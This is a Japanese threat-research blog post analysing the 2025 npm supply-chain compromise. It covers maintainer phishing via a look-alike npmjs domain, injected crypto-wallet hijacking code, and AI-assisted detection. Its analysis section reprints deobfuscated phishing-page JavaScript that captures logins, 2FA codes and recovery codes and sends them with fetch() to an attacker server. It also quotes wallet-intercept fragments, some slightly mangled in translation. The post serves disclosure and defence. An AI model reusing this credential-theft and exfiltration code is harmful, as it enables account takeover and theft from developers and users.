2025年9月初旬、サイバーセキュリティ史上最大規模のサプライチェーン攻撃が発生し、最大20件の人気npmパッケージが侵害され、合計ダウンロード数は週26億7000万回に達しました。
サプライチェーン攻撃は、npmのメンテナーであるJosh Junon(qix)氏とその他の開発者を標的とした巧妙なフィッシングキャンペーンから始まりました。このキャンペーンの結果、複数のブロックチェーンネットワークにわたる暗号資産ウォレットのトランザクションを乗っ取ることを目的とした悪意のあるコードが注入されました。
NPMをターゲットにしたこのフィッシングキャンペーンが際立つのは、その影響の規模だけでなく、攻撃者が従来の不審な兆候を一切残さないよう意図的に工夫している点にあります。Varonisによる攻撃のシミュレーションでは、このキャンペーンが従来のメールセキュリティ対策を回避するために、クリーンなインフラとAIを活用したコンテンツ生成を組み合わせていた可能性が高いことが明らかになりました。
攻撃の仕組み、危険性、そして組織内でこのようなフィッシングメールを検知する方法など、詳細については続きをお読みください。
このフィッシング攻撃が特に危険な理由
クリーンなメールインフラとAIを活用したコンテンツ生成の組み合わせは、攻撃者が従来のメール防御を回避することを可能にした2つの重要な要素です。
さらに詳しく見ていきましょう。
クリーンなメールインフラ
フィッシングメールは、怪しい設定ミスのあるリレーサーバーから送信されたものではなく、精密に設定されたドメイン(npmjs[.]help)を経由して送信されました。
- SPF、DKIM、DMARCのすべてにパス
- 以下の通り、認証結果は一見して正当なものに見えました。
- Authentication-Results: aspmx1.migadu.com;
- dkim=pass header.d=smtp.mailtrap.live header.s=rwmt1 header.b=Wrv0sR0r;
- dkim=pass header.d=npmjs[.]help header.s=rwmt1 header.b=opuoQW+P;
- spf=pass smtp.mailfrom=ndr-cbbfcb00-8c4d-11f0-0040-f184d6629049@mt86.npmjs[.]help;
- dmarc=pass (policy=none) header.from=npmjs[.]help
- 送信元IPアドレスは主要スパムブロックリストのいずれにも掲載されていませんでした(MXToolboxで確認)
言い換えれば、インフラストラクチャの観点から見ると、そのメールは「クリーン」で信頼できるものに見えました。
AIを活用したフィッシングコンテンツ
かつてのフィッシングキャンペーンでは英語の拙さで正体が露呈しがちでしたが、このキャンペーンでは、推定70〜80%の確率でAIが関与したテキストを利用していました。
観測した主要なマーカー:
- 洗練されたフォーマルな口調:文法的に正確で、誤字もなく、不自然な表現もありません。
- 一般的な企業用語: 「アカウントのセキュリティに対する継続的な取り組み」や「ご都合の良い時に」といったフレーズは、テンプレート化されたAIフレーズの典型例です。
- カスタマイズなし:メールでは、名前、アカウントの詳細、一意の識別子を避け、内容は汎用的で再利用可能なものにしています。
これにより、メールはプロフェッショナルな印象を与えるだけでなく、人間やルールベースのフィルターによる検出も困難になりました。
こうした手法の結果、2025年9月1週目に悪意のあるパッケージが26億回以上ダウンロードされました。
図1:悪意のあるパッケージのダウンロード数。2025年9月1日の週は26.7億件。
図1:悪意のあるパッケージのダウンロード数。2025年9月1日の週は26.7億件。
より正確に言うと、これらのパッケージは全バージョン合わせて1307億6500万回以上ダウンロードされました。追加された悪意のあるコードは、6つの主要なブロックチェーンネットワークを標的とするマルチチェーン暗号資産インターセプターを実装しています。
- イーサリアム(ETH)
- ビットコイン(BTC)
- ソラナ(SOL)
- トロン(TRX)
- ライトコイン(LTC)
- ビットコインキャッシュ(BCH)
また、各ブロックチェーンを識別するための正規表現も含まれています。
//
const 0x3ec3bb= {
'ethereum': /\b0x[a-fA-F0-9]{40}\b/g,
'bitcoinLegacy': /\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
'bitcoinSegwit': /\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,34}\b|bc1[pqrz][a-zA-HJ-NP-Z0-9]{11,71}\b/g,
'tron': /(?:T)[1-9A-HJ-NP-Za-km-z]{33}/g,
'bch': /bitcoincash:[pq][a-zA-Z0-9]{41}/g,
'ltc': /\b(L|M)[a-km-zA-HJ-NP-Z1-9]{25,34}\b/g,
'ltc2': /(?!\bltc\b)ltc[a-km-zA-HJ-NP-Z1-9]{11,71}\b/g,
'solana': /(?:[13])[a-km-zA-HJ-NP-Z1-9]{32,44}/g,
'solana2': /(?:[13])[a-km-zA-HJ-NP-Za-km-np-tv-yz2][35,44]/g,
'solana3': /(?:[13])[1-9A-HJ-NP-Za-km-np-tv-yz2][35,44]/g
};
この悪意のあるコードには、各暗号通貨のハードコードされたアドレスリストが含まれており、合計280個の暗号ウォレットが均等に配布されています。
Web3ウォレットのトランザクションを傍受するための「ステルスプロキシ」を実装する、ウォレットハイジャックの中核コンポーネントを担う主要機能。
この記事の公開時点で、このメインのイーサリアムウォレットには434.75ドルが入っています
(0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976)。追加の70ドルは他のいくつかの関連するウォレットに表示され、攻撃者は504ドルを盗むことに成功しました。総額は数千ドル台前半まで増えると予想しています。
暗号マルウェア盗難ツール
悪意のあるパッケージバージョンには、難読化されたJavaScriptが含まれており、ブラウザ側のインターセプターをフロントエンドバンドルに密かに挿入します。ページの読み込み時に、コードはユーザーのブラウザ内でアクティベートされ、重要なウェブAPIをラップします。これには以下が含まれます。
- fetch()
- XMLHttpRequest
- window.ethereum.request() (イーサリアムウォレットのインターフェース)
solana_signTransaction and solana_signAndSendTransactionのようなソラナウォレットメソッド
この戦略的な仕掛けにより、マルウェアはアプリケーションとネットワークおよびウォレットの間に配置され、送信リクエストと署名済みトランザクションを完全に可視化し、制御することが可能になります。
マルウェアが起動すると、API応答とトランザクションペイロードをリアルタイムで検査し、複数の暗号資産にわたるブロックチェーンアドレスをスキャンします。
送金やトークン承認などの資金移動操作が検出されると、マルウェアは受信者のアドレスを攻撃者が管理するアドレスに密かに書き換えます。ステルス性を維持するため、レーベンシュタイン距離アルゴリズムに基づく類似置換を使用し、変更されたアドレスが視覚的に元のアドレスと類似するようにします。
また、Uniswap、PancakeSwap、SushiSwapのような分散型取引所とのやり取りを検出し、スワップされた資金を攻撃者が管理するアドレスにリダイレクトするよう、トランザクションのペイロードをこっそり変更します。
//
const _0x432d38 = {
'0x7a250d5630b4cf539739df2c5dacb4c659f2488d': "Uniswap V2",
'0x66a9893cC07D91D95644AEDD05D03f95e1d8A8Af': "Uniswap V2",
'0xe592427a0aece92de3edee1f18e0157c05861564': 「Uniswap V3」、
'0x10ed43c718714eb63d5aa57b78b54704e256024e': "PancakeSwap V2",
'0x1f4ea83dbd04de75c8222255bc855a974568dd4': "PancakeSwap V3",
'0x11111112542eb25477b68fb85ed929f73a960582': "1inch",
'0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f': "SushiSwap"
};
さらに、ERC-20トークンの承認を最大限に使用して(例:f.repeat(64) を使用)操作することで、攻撃者はユーザーの操作なしで後でトークンを流出させることができます。これらの変更はユーザーが取引に署名する前に発生するため、被害者はインターフェースが完全に正常に見える間に、知らず知らずのうちに承認したり、攻撃者に資金を送金したりしてしまう可能性があります。
フィッシングキャンペーンが成功する仕組み
フィッシング攻撃を成功させるには、事前の準備が鍵となります。例えば、以下のようなステップです。
- ターゲットとなる人物のリストを作成 – メールアドレスが公開されているNPMパッケージ開発者。
- ドメインを購入 – キャンペーン開始の3日前にドメイン(今回の場合はnpmjs[.]help)を購入。
- メールサーバーを設置 – 今回の場合はsupport@npmjs[.]help。
- 元のターゲットサイトをコピー。
- できればLLMを使用し、正当なリンクを含む正当に見えるフィッシングメールを用意。
- 獲物がかかるのを待つ。
さらに詳しく見ていきましょう。
Npmjs[.]helpは元のnmpjs.comのコピーで、Wayback Machineで今でも確認できます。
ドメインnpmjs[.]helpは、2025年9月5日に、登録機関であるPorkbun, LLCを通じて登録されました。まだaddPeriod(初期登録段階)であり、clientHold、clientTransferProhibited、clientDeleteProhibitedなどの複数の制限ステータスがあり、通常は非アクティブ、審査中、譲渡や削除が制限されていることを意味します。更新されなければ、ドメインは2026年9月5日に期限切れとなります。
フィッシングメール:
NPMパッケージの有名な開発者であるJosh Junon氏も、今回のフィッシングがいかに合法的に見えるかついて言及しています。
メールに記載されている「お問い合わせ」のリンクは、実際には正規の npmjs.com のお問い合わせページにリンクしており、より信頼性が高く見えます。
認証情報の窃盗
認証情報窃盗に関与し、それらをwebsocket-api2[.]publicvm.comに送信する、難読化解除された主要なJavaScriptコード:
偽の NPM ページはユーザー名とパスワードを取得します。
// ログインページにいるとき、ログインボタンのクリックをインターセプト
if (st.includes("login")) {
// フォームフィールドからユーザー名とパスワードを取得
var username = document.querySelector("#login_username").value
var password = document.querySelector("#login_password").value
// 認証情報をlocalStorageに保存し かつ 攻撃者のサーバーに送信
localStorage.setItem("user", username)
localStorage.setItem("pass", password)
geturl(credentials) // Exfi
次に、2FAを傍受します。
//
function tfarun() {
// 2FA入力 フィールドの表示待ち
// 検出を回避するためにユーザーインターフェース要素を非表示化
// 2FAシークレット/トークンをキャプチャ
var twoFactorCode = document.querySelector("#undefined_2fa-secret").value
// ユーザー名 + パスワード + 2FA トークン を攻撃者に送信
geturl({user: stored_user, pass: stored_pass, g2fa: twoFactorCode})
}
リカバリーコードを窃盗します。
// リカバリーコードページを読み込むための非表示のiframeを作成
let iframe = document.createElement("iframe")
iframe.src = " https: // www.npmjs[.]help / settings / " + username + " / recovery-codes"
iframe.style.display = "none" // ユーザーから非表示
document.body.appendChild(iframe)
// リカバリーコードのテキストを抽出し、攻撃者に送信
var recoveryText = document.querySelector("[specific recovery codes selector]").outerText
// Sends: {recodes: recoveryText}
最後に、データを攻撃者のサーバー側関数に送信します。
//
非同期 関数 geturl(params) {
// 盗んだデータを攻撃者が制御するサーバーに送信
await fetch("https://websocket-api2.publicvm.com/images/jpg-to-png.php?" + params)
}
完全な'params'形式には、ユーザー名、パスワード、2FAトークンが含まれます。
?user=username&pass=password&g2fa=2FA
リカバリーコードの場合は以下の通りになります。
?recodes=code1%20code2%20code3...
答えは簡単:目には目を、AIにはAIを
従来の指標(SPF認証の失敗、スペルミス、ブラックリストに登録されたIPアドレスなど)だけではもはや不十分です。その代わりに、検出は文脈分析、言語分析、視覚分析へと方向転換する必要があります
弊社のラボでは、多層的なAI駆動のアプローチのおかげで、このフィッシングの試みを非常に高い成功率で検出しました。
関係グラフによるコンテキスト分析
- 送信者が不明です。
- ドメイン(npmjs[.]help)の過去の通信履歴はありませんでした。
- 送信者と受信者の間でIT関連の事前協議は行われていません。
自然言語分析
- 2FAリセット要求(インテント)として分類されます。
- 文体上の特徴はAI生成フィッシングメールによく見られるパターンと一致しました。
フィッシングサイトの分析
- そのサイトは正規のNPMログインページをピクセル単位で完全に再現したものでした。
- 私たちのフィッシングサンドボックスでは、AIが実際のnpmjs.comと視覚的および言語的に比較しました。
- 証明書とURLが一致しなかったため、見た目には区別がつかなかったにもかかわらず、フィッシング詐欺としてフラグが立てられました。
結論:NPMの乗っ取りキャンペーンは、攻撃者が表面上は完璧に見えるフィッシング攻撃を構築できることを証明しました。しかし、AIを活用したコンテキスト、言語、サイト分析を適用することで、それらを確実に検知し、阻止することができます。
提言と結論
現在、感染が確認されている既知のパッケージはすべてロールバック済み、または更新済みです。Varonis脅威ラボチームは、組織が以下の一覧にある最新のクリーンなバージョンを使用していることを確認するよう推奨しています:
本稿執筆時点において、他の著名な開発者が標的とされたり、情報漏洩の被害に遭ったとの報告はありません。しかし、たった「1通」のフィッシングメールがどれほど危険かは、想像するまでもありません。
例えば、Mrasup、coliff、shakee93、ebrandelなどは、毎週数千回ダウンロードされているパッケージです。ebrandelによるvue-toastedパッケージだけでも、毎週4万2千回のダウンロード数を記録しています。
この事例は、今日の脅威による、より巧妙なフィッシングキャンペーンが今後も繰り返されるであろうことを、改めて痛烈に思い起こさせるものです。数か月前、同様のフィッシングを行う別のドメインがNPMパッケージのハイジャックを引き起こし、「わずか」7件のパッケージに影響を与えました。これには、追加のマルウェアをドロップするために毎週6200万回ダウンロードされるeslintパッケージも含まれます。
進化し続ける脅威の状況についてさらに学ぶには、Varonis Threat Labsのコンテンツをお読みください。組織がフィッシング攻撃の被害に遭ったと思われる場合で、Varonisをご利用でない場合は、弊社チームまでご連絡ください。
注:このブログはAI翻訳され、当社日本チームによってレビューされました